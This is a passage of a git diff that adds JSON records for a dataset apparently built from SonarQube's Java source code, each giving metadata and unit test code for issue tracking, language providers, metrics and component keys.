"description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 21, + "branches": 2, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracker.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracker.json new file mode 100644 index 0000000..47e795e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracker.json @@ -0,0 +1,122 @@ +{ + "name": "Tracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 1, + "apis": 19, + "test": [ + { + "description": "similar_issues_except_rule_do_not_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void similar_issues_except_rule_do_not_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\");\n\n baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H1\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_UNUSED_LOCAL_VARIABLE, \"msg\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isNull();\n\n }" + }, + { + "description": "line_hash_has_greater_priority_than_line", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void line_hash_has_greater_priority_than_line() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\", \"H3\");\n\n Issue base1 = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n Issue base2 = baseInput.createIssueOnLine(3, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n FakeInput rawInput = new FakeInput(\"a\", \"b\", \"H1\", \"H2\", \"H3\");\n\n Issue raw1 = rawInput.createIssueOnLine(3, RULE_SYSTEM_PRINT, \"msg\");\n\n Issue raw2 = rawInput.createIssueOnLine(5, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw1)).isSameAs(base1);\n\n assertThat(tracking.baseFor(raw2)).isSameAs(base2);\n\n }" + }, + { + "description": "no_lines_and_different_messages_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void no_lines_and_different_messages_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\", \"H3\");\n\n Issue base = baseInput.createIssue(RULE_SYSTEM_PRINT, \"msg1\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H10\", \"H11\", \"H12\");\n\n Issue raw = rawInput.createIssue(RULE_SYSTEM_PRINT, \"msg2\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "similar_issues_except_message_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void similar_issues_except_message_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg1\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H1\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg2\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "similar_issues_if_trimmed_messages_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void similar_issues_if_trimmed_messages_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \" message \");\n\n\n\n FakeInput rawInput = new FakeInput(\"H2\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"message\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "similar_issues_except_line_hash_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void similar_issues_except_line_hash_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H2\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "similar_issues_except_line_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void similar_issues_except_line_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H2\", \"H1\");\n\n Issue raw = rawInput.createIssueOnLine(2, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "only_same_line_hash_match_match", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void only_same_line_hash_match_match() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H3\", \"H4\", \"H1\");\n\n Issue raw = rawInput.createIssueOnLine(3, RULE_SYSTEM_PRINT, \"other message\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isSameAs(base);\n\n }" + }, + { + "description": "do_not_fail_if_base_issue_without_line", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void do_not_fail_if_base_issue_without_line() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_SYSTEM_PRINT, \"msg1\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H3\", \"H4\", \"H5\");\n\n Issue raw = rawInput.createIssue(RULE_UNUSED_LOCAL_VARIABLE, \"msg2\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isNull();\n\n assertThat(tracking.getUnmatchedBases()).containsOnly(base);\n\n }" + }, + { + "description": "do_not_fail_if_raw_issue_without_line", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void do_not_fail_if_raw_issue_without_line() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\");\n\n Issue base = baseInput.createIssue(RULE_SYSTEM_PRINT, \"msg1\");\n\n\n\n FakeInput rawInput = new FakeInput(\"H3\", \"H4\", \"H5\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_UNUSED_LOCAL_VARIABLE, \"msg2\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isNull();\n\n assertThat(tracking.getUnmatchedBases()).containsOnly(base);\n\n }" + }, + { + "description": "do_not_fail_if_message_is_null", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void do_not_fail_if_message_is_null() {\n\n FakeInput baseInput = new FakeInput(\"H1\", \"H2\");\n\n Issue base = baseInput.createIssueOnLine(1, RULE_UNUSED_LOCAL_VARIABLE, null);\n\n\n\n FakeInput rawInput = new FakeInput(\"H1\", \"H2\");\n\n Issue raw = rawInput.createIssueOnLine(1, RULE_UNUSED_LOCAL_VARIABLE, null);\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw)).isNotNull();\n\n }" + }, + { + "description": "do_not_fail_if_raw_line_does_not_exist", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void do_not_fail_if_raw_line_does_not_exist() {\n\n FakeInput baseInput = new FakeInput();\n\n FakeInput rawInput = new FakeInput(\"H1\").addIssue(new Issue(200, \"H200\", RULE_SYSTEM_PRINT, \"msg\", org.sonar.api.issue.Issue.STATUS_OPEN, new Date()));\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n\n\n assertThat(tracking.getUnmatchedRaws()).hasSize(1);\n\n }" + }, + { + "description": "recognize_blocks_1", + "expected-problems": null, + "expected-linenumbers": 50, + "code": " public void recognize_blocks_1() {\n\n FakeInput baseInput = FakeInput.createForSourceLines(\n\n \"package example1;\",\n\n \"\",\n\n \"public class Toto {\",\n\n \"\",\n\n \" public void doSomething() {\",\n\n \" // doSomething\",\n\n \" }\",\n\n \"\",\n\n \" public void doSomethingElse() {\",\n\n \" // doSomethingElse\",\n\n \" }\",\n\n \"}\");\n\n Issue base1 = baseInput.createIssueOnLine(7, RULE_SYSTEM_PRINT, \"Indentation\");\n\n Issue base2 = baseInput.createIssueOnLine(11, RULE_SYSTEM_PRINT, \"Indentation\");\n\n\n\n FakeInput rawInput = FakeInput.createForSourceLines(\n\n \"package example1;\",\n\n \"\",\n\n \"public class Toto {\",\n\n \"\",\n\n \" public Toto(){}\",\n\n \"\",\n\n \" public void doSomethingNew() {\",\n\n \" // doSomethingNew\",\n\n \" }\",\n\n \"\",\n\n \" public void doSomethingElseNew() {\",\n\n \" // doSomethingElseNew\",\n\n \" }\",\n\n \"\",\n\n \" public void doSomething() {\",\n\n \" // doSomething\",\n\n \" }\",\n\n \"\",\n\n \" public void doSomethingElse() {\",\n\n \" // doSomethingElse\",\n\n \" }\",\n\n \"}\");\n\n Issue raw1 = rawInput.createIssueOnLine(9, RULE_SYSTEM_PRINT, \"Indentation\");\n\n Issue raw2 = rawInput.createIssueOnLine(13, RULE_SYSTEM_PRINT, \"Indentation\");\n\n Issue raw3 = rawInput.createIssueOnLine(17, RULE_SYSTEM_PRINT, \"Indentation\");\n\n Issue raw4 = rawInput.createIssueOnLine(21, RULE_SYSTEM_PRINT, \"Indentation\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw1)).isNull();\n\n assertThat(tracking.baseFor(raw2)).isNull();\n\n assertThat(tracking.baseFor(raw3)).isSameAs(base1);\n\n assertThat(tracking.baseFor(raw4)).isSameAs(base2);\n\n assertThat(tracking.getUnmatchedBases()).isEmpty();\n\n }" + }, + { + "description": "no_match_if_only_same_rulekey", + "expected-problems": null, + "expected-linenumbers": 45, + "code": " public void no_match_if_only_same_rulekey() {\n\n FakeInput baseInput = FakeInput.createForSourceLines(\n\n \"package aa;\",\n\n \"\",\n\n \"/**\",\n\n \" * Hello world\",\n\n \" *\",\n\n \" */\",\n\n \"public class App {\",\n\n \"\",\n\n \" public static void main(String[] args) {\",\n\n \"\",\n\n \" int magicNumber = 42;\",\n\n \"\",\n\n \" String s = new String(\\\"Very long line that does not meet our maximum 120 character line length criteria and should be wrapped to avoid SonarQube issues.\\\");\\r\\n\"\n\n +\n\n \" }\",\n\n \"}\");\n\n Issue base1 = baseInput.createIssueOnLine(11, RuleKey.of(\"java\", \"S109\"), \"Assign this magic number 42 to a well-named constant, and use the constant instead.\");\n\n Issue base2 = baseInput.createIssueOnLine(13, RuleKey.of(\"java\", \"S00103\"), \"Split this 163 characters long line (which is greater than 120 authorized).\");\n\n\n\n FakeInput rawInput = FakeInput.createForSourceLines(\n\n \"package aa;\",\n\n \"\",\n\n \"/**\",\n\n \" * Hello world\",\n\n \" *\",\n\n \" */\",\n\n \"public class App {\",\n\n \"\",\n\n \" public static void main(String[] args) {\",\n\n \" \",\n\n \" System.out.println(\\\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque vel diam purus. Curabitur ut nisi lacus....\\\");\",\n\n \" \",\n\n \" int a = 0;\",\n\n \" \",\n\n \" int x = a + 123;\",\n\n \" }\",\n\n \"}\");\n\n Issue raw1 = rawInput.createIssueOnLine(11, RuleKey.of(\"java\", \"S00103\"), \"Split this 139 characters long line (which is greater than 120 authorized).\");\n\n Issue raw2 = rawInput.createIssueOnLine(15, RuleKey.of(\"java\", \"S109\"), \"Assign this magic number 123 to a well-named constant, and use the constant instead.\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw1)).isNull();\n\n assertThat(tracking.baseFor(raw2)).isNull();\n\n assertThat(tracking.getUnmatchedBases()).hasSize(2);\n\n }" + }, + { + "description": "recognize_blocks_2", + "expected-problems": null, + "expected-linenumbers": 35, + "code": " public void recognize_blocks_2() {\n\n FakeInput baseInput = FakeInput.createForSourceLines(\n\n \"package example2;\",\n\n \"\",\n\n \"public class Toto {\",\n\n \" void method1() {\",\n\n \" System.out.println(\\\"toto\\\");\",\n\n \" }\",\n\n \"}\");\n\n Issue base1 = baseInput.createIssueOnLine(5, RULE_SYSTEM_PRINT, \"SystemPrintln\");\n\n\n\n FakeInput rawInput = FakeInput.createForSourceLines(\n\n \"package example2;\",\n\n \"\",\n\n \"public class Toto {\",\n\n \"\",\n\n \" void method2() {\",\n\n \" System.out.println(\\\"toto\\\");\",\n\n \" }\",\n\n \"\",\n\n \" void method1() {\",\n\n \" System.out.println(\\\"toto\\\");\",\n\n \" }\",\n\n \"\",\n\n \" void method3() {\",\n\n \" System.out.println(\\\"toto\\\");\",\n\n \" }\",\n\n \"}\");\n\n Issue raw1 = rawInput.createIssueOnLine(6, RULE_SYSTEM_PRINT, \"SystemPrintln\");\n\n Issue raw2 = rawInput.createIssueOnLine(10, RULE_SYSTEM_PRINT, \"SystemPrintln\");\n\n Issue raw3 = rawInput.createIssueOnLine(14, RULE_SYSTEM_PRINT, \"SystemPrintln\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.baseFor(raw1)).isNull();\n\n assertThat(tracking.baseFor(raw2)).isSameAs(base1);\n\n assertThat(tracking.baseFor(raw3)).isNull();\n\n }" + }, + { + "description": "recognize_blocks_3", + "expected-problems": null, + "expected-linenumbers": 53, + "code": " public void recognize_blocks_3() {\n\n FakeInput baseInput = FakeInput.createForSourceLines(\n\n \"package sample;\",\n\n \"\",\n\n \"public class Sample {\",\n\n \"\\t\",\n\n \"\\tpublic Sample(int i) {\",\n\n \"\\t\\tint j = i+1;\", // UnusedLocalVariable\n\n \"\\t}\",\n\n \"\",\n\n \"\\tpublic boolean avoidUtilityClass() {\", // NotDesignedForExtension\n\n \"\\t\\treturn true;\",\n\n \"\\t}\",\n\n \"\",\n\n \"\\tprivate String myMethod() {\", // UnusedPrivateMethod\n\n \"\\t\\treturn \\\"hello\\\";\",\n\n \"\\t}\",\n\n \"}\");\n\n Issue base1 = baseInput.createIssueOnLine(6, RULE_UNUSED_LOCAL_VARIABLE, \"Avoid unused local variables such as 'j'.\");\n\n Issue base2 = baseInput.createIssueOnLine(13, RULE_UNUSED_PRIVATE_METHOD, \"Avoid unused private methods such as 'myMethod()'.\");\n\n Issue base3 = baseInput.createIssueOnLine(9, RULE_NOT_DESIGNED_FOR_EXTENSION,\n\n \"Method 'avoidUtilityClass' is not designed for extension - needs to be abstract, final or empty.\");\n\n\n\n FakeInput rawInput = FakeInput.createForSourceLines(\n\n \"package sample;\",\n\n \"\",\n\n \"public class Sample {\",\n\n \"\",\n\n \"\\tpublic Sample(int i) {\",\n\n \"\\t\\tint j = i+1;\", // UnusedLocalVariable is still there\n\n \"\\t}\",\n\n \"\\t\",\n\n \"\\tpublic boolean avoidUtilityClass() {\", // NotDesignedForExtension is still there\n\n \"\\t\\treturn true;\",\n\n \"\\t}\",\n\n \"\\t\",\n\n \"\\tprivate String myMethod() {\", // issue UnusedPrivateMethod is fixed because it's called at line 18\n\n \"\\t\\treturn \\\"hello\\\";\",\n\n \"\\t}\",\n\n \"\",\n\n \" public void newIssue() {\",\n\n \" String msg = myMethod();\", // new issue UnusedLocalVariable\n\n \" }\",\n\n \"}\");\n\n\n\n Issue newRaw = rawInput.createIssueOnLine(18, RULE_UNUSED_LOCAL_VARIABLE, \"Avoid unused local variables such as 'msg'.\");\n\n Issue rawSameAsBase1 = rawInput.createIssueOnLine(6, RULE_UNUSED_LOCAL_VARIABLE, \"Avoid unused local variables such as 'j'.\");\n\n Issue rawSameAsBase3 = rawInput.createIssueOnLine(9, RULE_NOT_DESIGNED_FOR_EXTENSION,\n\n \"Method 'avoidUtilityClass' is not designed for extension - needs to be abstract, final or empty.\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n\n\n assertThat(tracking.baseFor(newRaw)).isNull();\n\n assertThat(tracking.baseFor(rawSameAsBase1)).isSameAs(base1);\n\n assertThat(tracking.baseFor(rawSameAsBase3)).isSameAs(base3);\n\n assertThat(tracking.getUnmatchedBases()).containsOnly(base2);\n\n }" + }, + { + "description": "match_only_one_issue_when_multiple_blocks_match_the_same_block", + "expected-problems": null, + "expected-linenumbers": 120, + "code": " public void match_only_one_issue_when_multiple_blocks_match_the_same_block() {\n\n FakeInput baseInput = FakeInput.createForSourceLines(\n\n \"public class Toto {\",\n\n \" private final Deque> one = new ArrayDeque>();\",\n\n \" private final Deque> two = new ArrayDeque>();\",\n\n \" private final Deque three = new ArrayDeque();\",\n\n \" private final Deque>> four = new ArrayDeque>();\");\n\n Issue base1 = baseInput.createIssueOnLine(2, RULE_USE_DIAMOND, \"Use diamond\");\n\n baseInput.createIssueOnLine(3, RULE_USE_DIAMOND, \"Use diamond\");\n\n baseInput.createIssueOnLine(4, RULE_USE_DIAMOND, \"Use diamond\");\n\n baseInput.createIssueOnLine(5, RULE_USE_DIAMOND, \"Use diamond\");\n\n\n\n FakeInput rawInput = FakeInput.createForSourceLines(\n\n \"public class Toto {\",\n\n \" // move all lines\",\n\n \" private final Deque> one = new ArrayDeque>();\",\n\n \" private final Deque> two = new ArrayDeque<>();\",\n\n \" private final Deque three = new ArrayDeque<>();\",\n\n \" private final Deque>> four = new ArrayDeque<>();\");\n\n Issue raw1 = rawInput.createIssueOnLine(3, RULE_USE_DIAMOND, \"Use diamond\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.getUnmatchedBases()).hasSize(3);\n\n assertThat(tracking.baseFor(raw1)).isEqualTo(base1);\n\n }\n\n\n\n @Test\n\n public void match_issues_with_same_rule_key_on_project_level() {\n\n FakeInput baseInput = new FakeInput();\n\n Issue base1 = baseInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc] Missing package-info.java in package.\");\n\n Issue base2 = baseInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc/def] Missing package-info.java in package.\");\n\n\n\n FakeInput rawInput = new FakeInput();\n\n Issue raw1 = rawInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc/def] Missing package-info.java in package.\");\n\n Issue raw2 = rawInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc] Missing package-info.java in package.\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.getUnmatchedBases()).isEmpty();\n\n assertThat(tracking.baseFor(raw1)).isEqualTo(base2);\n\n assertThat(tracking.baseFor(raw2)).isEqualTo(base1);\n\n }\n\n\n\n private static class Issue implements Trackable {\n\n private final RuleKey ruleKey;\n\n private final Integer line;\n\n private final String message, lineHash;\n\n private final String status;\n\n private final Date updateDate;\n\n\n\n Issue(@Nullable Integer line, String lineHash, RuleKey ruleKey, @Nullable String message, String status, Date updateDate) {\n\n this.line = line;\n\n this.lineHash = lineHash;\n\n this.ruleKey = ruleKey;\n\n this.status = status;\n\n this.updateDate = updateDate;\n\n this.message = trim(message);\n\n }\n\n\n\n @Override\n\n public Integer getLine() {\n\n return line;\n\n }\n\n\n\n @CheckForNull\n\n @Override\n\n public String getMessage() {\n\n return message;\n\n }\n\n\n\n @Override\n\n public String getLineHash() {\n\n return lineHash;\n\n }\n\n\n\n @Override\n\n public RuleKey getRuleKey() {\n\n return ruleKey;\n\n }\n\n\n\n @Override\n\n public String getStatus() {\n\n return status;\n\n }\n\n\n\n @Override\n\n public Date getUpdateDate() {\n\n return updateDate;\n\n }\n\n }\n\n\n\n private static class FakeInput implements Input {\n\n private final List issues = new ArrayList<>();\n\n private final List lineHashes;\n\n\n\n FakeInput(String... lineHashes) {\n\n this.lineHashes = asList(lineHashes);\n\n }\n\n\n\n static FakeInput createForSourceLines(String... lines) {\n\n String[] hashes = new String[lines.length];\n\n for (int i = 0; i < lines.length; i++) {\n\n hashes[i] = DigestUtils.md5Hex(lines[i].replaceAll(\"[\\t ]\", \"\"));\n\n }\n\n return new FakeInput(hashes);\n\n }\n\n\n\n Issue createIssueOnLine(int line, RuleKey ruleKey, String message) {\n\n Issue issue = new Issue(line, lineHashes.get(line - 1), ruleKey, message, org.sonar.api.issue.Issue.STATUS_OPEN, new Date());\n\n issues.add(issue);\n\n return issue;\n\n }\n\n\n\n /**\n\n * No line (line 0)\n\n */\n\n Issue createIssue(RuleKey ruleKey, @Nullable String message) {\n\n Issue issue = new Issue(null, \"\", ruleKey, message, org.sonar.api.issue.Issue.STATUS_OPEN, new Date());\n\n issues.add(issue);\n\n return issue;\n\n }\n\n\n\n FakeInput addIssue(Issue issue) {\n\n this.issues.add(issue);\n\n return this;\n\n }\n\n\n\n @Override\n\n public LineHashSequence getLineHashSequence() {\n\n return new LineHashSequence(lineHashes);\n\n }\n\n\n\n @Override\n\n public BlockHashSequence getBlockHashSequence() {\n\n return new BlockHashSequence(getLineHashSequence(), 2);\n\n }\n\n\n\n @Override\n\n public Collection getIssues() {\n\n return issues;\n\n }\n\n }\n\n}" + }, + { + "description": "match_issues_with_same_rule_key_on_project_level", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void match_issues_with_same_rule_key_on_project_level() {\n\n FakeInput baseInput = new FakeInput();\n\n Issue base1 = baseInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc] Missing package-info.java in package.\");\n\n Issue base2 = baseInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc/def] Missing package-info.java in package.\");\n\n\n\n FakeInput rawInput = new FakeInput();\n\n Issue raw1 = rawInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc/def] Missing package-info.java in package.\");\n\n Issue raw2 = rawInput.createIssue(RULE_MISSING_PACKAGE_INFO, \"[com.test:abc] Missing package-info.java in package.\");\n\n\n\n Tracking tracking = tracker.trackNonClosed(rawInput, baseInput);\n\n assertThat(tracking.getUnmatchedBases()).isEmpty();\n\n assertThat(tracking.baseFor(raw1)).isEqualTo(base2);\n\n assertThat(tracking.baseFor(raw2)).isEqualTo(base1);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracking.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracking.json new file mode 100644 index 0000000..a7b2b45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracking.json @@ -0,0 +1,13 @@ +{ + "name": "Tracking", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 2, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/LanguagesProvider.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/LanguagesProvider.json new file mode 100644 index 0000000..e47e544 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/LanguagesProvider.json @@ -0,0 +1,26 @@ +{ + "name": "LanguagesProvider", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 2, + "apis": 3, + "test": [ + { + "description": "should_provide_default_instance_when_no_language", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void should_provide_default_instance_when_no_language() {\n\n LanguagesProvider provider = new LanguagesProvider();\n\n Languages languages = provider.provide(Optional.empty());\n\n\n\n assertThat(languages).isNotNull();\n\n assertThat(languages.all()).isEmpty();\n\n }" + }, + { + "description": "should_provide_instance_when_languages", + "expected-problems": null, + "expected-linenumbers": 13, + "code": " public void should_provide_instance_when_languages() {\n\n Language A = mock(Language.class);\n\n when(A.getKey()).thenReturn(\"a\");\n\n Language B = mock(Language.class);\n\n when(B.getKey()).thenReturn(\"b\");\n\n\n\n LanguagesProvider provider = new LanguagesProvider();\n\n List languageList = Arrays.asList(A, B);\n\n Languages languages = provider.provide(Optional.of(languageList));\n\n\n\n assertThat(languages).isNotNull();\n\n assertThat(languages.all())\n\n .hasSize(2)\n\n .contains(A, B);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/UnanalyzedLanguages.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/UnanalyzedLanguages.json new file mode 100644 index 0000000..73adb29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/UnanalyzedLanguages.json @@ -0,0 +1,20 @@ +{ + "name": "UnanalyzedLanguages", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 0, + "apis": 0, + "test": [ + { + "description": "test_toString", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_toString() {\n\n assertThat(UnanalyzedLanguages.C).hasToString(\"C\");\n\n assertThat(UnanalyzedLanguages.CPP).hasToString(\"C++\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/ScannerMetrics.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/ScannerMetrics.json new file mode 100644 index 0000000..005395b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/ScannerMetrics.json @@ -0,0 +1,13 @@ +{ + "name": "ScannerMetrics", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 0, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/SoftwareQualitiesMetrics.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/SoftwareQualitiesMetrics.json new file mode 100644 index 0000000..785d63f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/SoftwareQualitiesMetrics.json @@ -0,0 +1,13 @@ +{ + "name": "SoftwareQualitiesMetrics", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 381, + "branches": 0, + "apis": 266, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ClassDerivedBeanDefinition.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ClassDerivedBeanDefinition.json new file mode 100644 index 0000000..2bd8f30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ClassDerivedBeanDefinition.json @@ -0,0 +1,13 @@ +{ + "name": "ClassDerivedBeanDefinition", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 30, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ComponentKeys.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ComponentKeys.json new file mode 100644 index 0000000..4c8d40f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ComponentKeys.json @@ -0,0 +1,44 @@ +{ + "name": "ComponentKeys", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 30, + "branches": 3, + "apis": 14, + "test": [ + { + "description": "generate_key_of_object", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void generate_key_of_object() {\n\n assertThat(keys.of(FakeComponent.class)).isEqualTo(FakeComponent.class);\n\n }" + }, + { + "description": "generate_key_of_instance", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void generate_key_of_instance() {\n\n assertThat((String) keys.of(new FakeComponent())).endsWith(\"-org.sonar.core.platform.ComponentKeysTest.FakeComponent-fake\");\n\n }" + }, + { + "description": "generate_key_of_class", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void generate_key_of_class() {\n\n assertThat(keys.ofClass(FakeComponent.class)).endsWith(\"-org.sonar.core.platform.ComponentKeysTest.FakeComponent\");\n\n }" + }, + { + "description": "should_log_warning_if_toString_is_not_overridden", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void should_log_warning_if_toString_is_not_overridden() {\n\n Logger log = mock(Logger.class);\n\n when(log.isWarnEnabled()).thenReturn(true);\n\n keys.of(new Object(), log);\n\n verifyNoInteractions(log);\n\n\n\n // only on non-first runs, to avoid false-positives on singletons\n\n keys.of(new Object(), log);\n\n verify(log).warn(startsWith(\"Bad component key\"), any(), any());\n\n }" + }, + { + "description": "should_generate_unique_key_when_toString_is_not_overridden", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void should_generate_unique_key_when_toString_is_not_overridden() {\n\n Object key = keys.of(new WrongToStringImpl());\n\n 